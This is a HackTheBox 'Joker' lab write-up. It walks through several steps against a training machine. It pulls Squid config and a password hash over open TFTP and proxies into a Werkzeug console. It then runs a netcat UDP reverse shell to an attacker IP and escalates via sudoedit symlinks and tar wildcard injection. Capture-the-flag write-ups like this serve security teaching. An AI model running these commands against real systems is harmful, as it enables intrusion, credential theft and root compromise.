> For the complete documentation index, see [llms.txt](https://akshaydeepakshinde.gitbook.io/hackthebox-linux/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://akshaydeepakshinde.gitbook.io/hackthebox-linux/hackthebox-joker.md). # HackTheBox - Joker ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZbeqVaI2pMMUE74QdQ%2F-MZc1_Vvqm9vKoEnrue7%2Fimage.png?alt=media\&token=187d3127-03e3-4372-950f-ff4457986bbc) ### Nmap scan results ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZbeqVaI2pMMUE74QdQ%2F-MZc1kw06m43Jwju0LLl%2Fimage.png?alt=media\&token=630ebe9c-2bdd-4e1e-b6f2-f093c6554b96) Looks like there are just these two ports opened. We know about SSH and there is a http proxy running on port 3128. This proxy is widely used for filtering web requests. You can set it up for your own network if you want. > Squid is a caching and forwarding HTTP web proxy. It has a wide variety of uses, including speeding up a web server by caching repeated requests, caching web, DNS and other computer network lookups for a group of people sharing network resources, and aiding security by filtering traffic. #### I will keep a UDP Port scan running in the background and proceed further with the squid enumeration. ```cpp nmap -sU -sV -sC -n -F -T4 10.10.10.21 ``` ### Enumerating SQUID Proxy ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZbeqVaI2pMMUE74QdQ%2F-MZc2Wct7TRkgzSCSGBt%2Fimage.png?alt=media\&token=68ea56a3-ea24-4107-841e-10c8faf9b260) This is the proxy running on 3128 and we need the access the webserver present behind. I will be using **`Foxy Proxy`** to create the proxy. ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZbeqVaI2pMMUE74QdQ%2F-MZc3V6xOIjZ0AWiEwBf%2Fimage.png?alt=media\&token=310a4297-e08f-431f-9853-4736102d0e25) Now if we try to access the webserver, we will get the following error saying `Sorry, you are not currently allowed to request http://10.10.10.21/ from this cache until you have authenticated yourself.` I tried default usernames and passwords but that didn't work. So let's proceed with the UDP port scan that we kept running the background. ### Working with TFTP Server ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZbeqVaI2pMMUE74QdQ%2F-MZcAej9kFT7RuzKhxwr%2Fimage.png?alt=media\&token=4402c806-0399-4d82-851e-e6ab7c5f6517) {% hint style="info" %} Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host. One of its primary uses is in the early stages of nodes booting from a local area network. {% endhint %} The file server doesn't require authentication that means we can just download or upload. I will use [tftpy ](https://pypi.org/project/tftpy/)module written in python to enumerate the service. We need squid.conf to get all the details about the cache server. ```python pip install tftpy ``` {% embed url="" %} ```python import tftpy client = tftpy.TftpClient('10.10.10.21', 69) client.download('/etc/squid/squid.conf','/tmp/squid.conf',timeout=5) ``` This will download the **`squid.conf`** file from the target server and stored it in **`/tmp/squid.conf`** ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZbeqVaI2pMMUE74QdQ%2F-MZcBu75UC11urnhkllU%2Fimage.png?alt=media\&token=e5778f90-2bbc-412e-9ba7-ad29395de2f3) Password file located in **`/etc/squid/`** .Let's get that file using the same method. ```ruby client.download('/etc/squid/passwords','/tmp/passwords',timeout=5) ``` ```ruby kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0 ``` ### Hash cracking with JohnTheRipper ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZbeqVaI2pMMUE74QdQ%2F-MZcD9btpg2fUmFzCd8X%2Fimage.png?alt=media\&token=5c46ecf2-f687-4e81-8f0c-128173eba958) Now that we have the password, we can surf the webserver with these credentials. Save the username and password in the Foxy Proxy settings. We can also access localhost now. ![Shorty running at localhost](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdGM5NzysbBhLigMdl%2Fimage.png?alt=media\&token=de3dfa39-1daf-4b37-acef-b8bc8716078d) ### Scanning localhost with ffuf ```ruby ffuf -x http://kalamari:ihateseafood@10.10.10.21:3128 -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt -u http://127.0.0.1/FUZZ -c ``` ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdHm2a2jh0hVxazclp%2Fimage.png?alt=media\&token=b9caf429-0241-473e-bdb0-b9db2fa94ff7) OK now we have **`Werkzeug console`** where we can potentially run system commands or even get a reverse shell. {% hint style="warning" %} Since this is not the best debugging environment, **Werkzeug** provides a WSGI middleware that renders nice tracebacks, optionally with an interactive debug **console** to execute code in any frame. ... Danger. The debugger allows the execution of arbitrary code which makes it a major security risk. {% endhint %} ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdHCDp-KGoXr7PasPW%2Fimage.png?alt=media\&token=ac55b669-ad7c-4e83-88bb-b5ae995a2d5a) ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdHauAb0HXYChPBFJc%2Fimage.png?alt=media\&token=54967074-c906-46f9-9396-1fb261544a15) ### Getting UDP Reverse shell I tried getting reverse shell but the server didn't respond after that and I had to reset the machine to get it working again. So I eventually checked for iptables config for IPv4. ```ruby # Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017 *filter :INPUT DROP [41573:1829596] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [878:221932] -A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT -A INPUT -i ens33 -p udp -j ACCEPT -A INPUT -i ens33 -p icmp -j ACCEPT -A INPUT -i lo -j ACCEPT -A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP COMMIT # Completed on Fri May 19 18:01:16 2017 ``` So by looking at this, I realized that the network will DROP all the outgoing packets. We have udp in scope where we can try to get shell via UDP. I found this trick that is much more easy to understand. ```ruby # My local machine nc -nvulp 1234 # Attacker's machine mkfifo /tmp/akshay nc -u 10.10.14.5 1234 < /tmp/akshay | { echo "Hi from another side"; bash; } > /tmp/akshay ``` ```python os.system("mkfifo /tmp/akshay") os.system('nc -u 10.10.14.5 1234 < /tmp/akshay | { echo "Hi from another side"; bash; } > /tmp/akshay') ``` ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdJoTxIWug6m1Ih7R0%2Fimage.png?alt=media\&token=fe78e0c4-63c2-42a1-9fab-9e86a03408e6) ### Exploiting sudoedit vulnerability ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdK4dvSrY53pncMR9O%2Fimage.png?alt=media\&token=664c6e00-8fc8-446f-b794-7a2aab4cf1a0) There is local privilege escalation vulnerability in sudoedit. We can check the version of sudoedit using **`dpkg`** command. Read more about the vulnerability over [here](https://www.exploit-db.com/exploits/37710). #### Explanation **`sudoedit`** will use the nano editor to edit/modify the file given as an argument. We can leverage this by creating a symlink to a file which is neither readable or writable by us. In this machine, we will write our SSH public key to **alekos** account by exploiting this vulnerability. ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdLYPndVtRRckrysjZ%2Fimage.png?alt=media\&token=7f8c5118-f824-4332-9d99-14e5bfcb7443) ```python sudoedit -u alekos /var/www/testing/test1/layout.html ``` And we will write the SSH Public key to that file and save it. Now if you will check, our contents will get successfully added into **`authorized_keys`** file. ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdM9wfZM537BOqxXO3%2Fimage.png?alt=media\&token=d50fb17d-aa0c-43cb-a258-843c99450a1f) ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdMHiemhigejYmR3ma%2Fimage.png?alt=media\&token=9531847a-a64a-455d-b557-421d420e183f) ### Privilege Escalation (Method 1) First method will be to use Normal Tar Wildcard Injection. * * * A cron job is running every 5 minutes backing up all the files in **`development`** directory to **`backup`** directory. ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdO6nonAH6bQw4dysx%2Fimage.png?alt=media\&token=d2109929-6f05-419c-ae15-b78c87cdd612) ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdOC3WJsrLKwa6kWo_%2Fimage.png?alt=media\&token=876110f6-5054-4b7c-9cff-039fb9c3399b) ```python # Contents of shell.sh file #!/bin/bash cp /bin/bash /tmp/bash chmod +x /tmp/bash ``` ```python touch /home/alekos/development/"--checkpoint-action=exec=sh shell.sh" touch /home/alekos/development/"--checkpoint=1" ``` ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdOviJdrE6eYySOwSZ%2Fimage.png?alt=media\&token=11316952-acb9-465e-adcd-616480e4a829) Now what this thing will do is pass the **`--checkpoint-action=exec=sh shell.sh`** and **`--checkpoint=1`** as an argument to tar command, thus resulting into execution of **`shell.sh`** file. ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdPc53DBqC2f3IhruC%2Fimage.png?alt=media\&token=7a2fb81e-350e-4520-a401-00f50f4f19b2) ### Privilege Escalation (Method 2) Another way is to use symlink again but this time to link it to root directory. Move the **development** directory to some other place and create a file having a **symlink** to root directory. ```python mv development/ development.bak ``` ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdQ7H8JSk_Vdy6f62J%2Fimage.png?alt=media\&token=87b4c939-3f41-47fe-ba93-f3f32e5dc29c) Now here the **tar** file will contain everything from the **root** directory. Isn't that awesome :)) ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdQdHxY19HD8CsZEjM%2Fimage.png?alt=media\&token=550dad8e-fa27-470d-9b5c-c030a9383081) Notice the difference in sizes that means our exploit worked. ![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MZdFRkh0gE43OJufMNN%2F-MZdR0Dm9TbqUw3D-sGW%2Fimage.png?alt=media\&token=c2165a4a-8156-47f3-b0ff-544d2aeef4ab)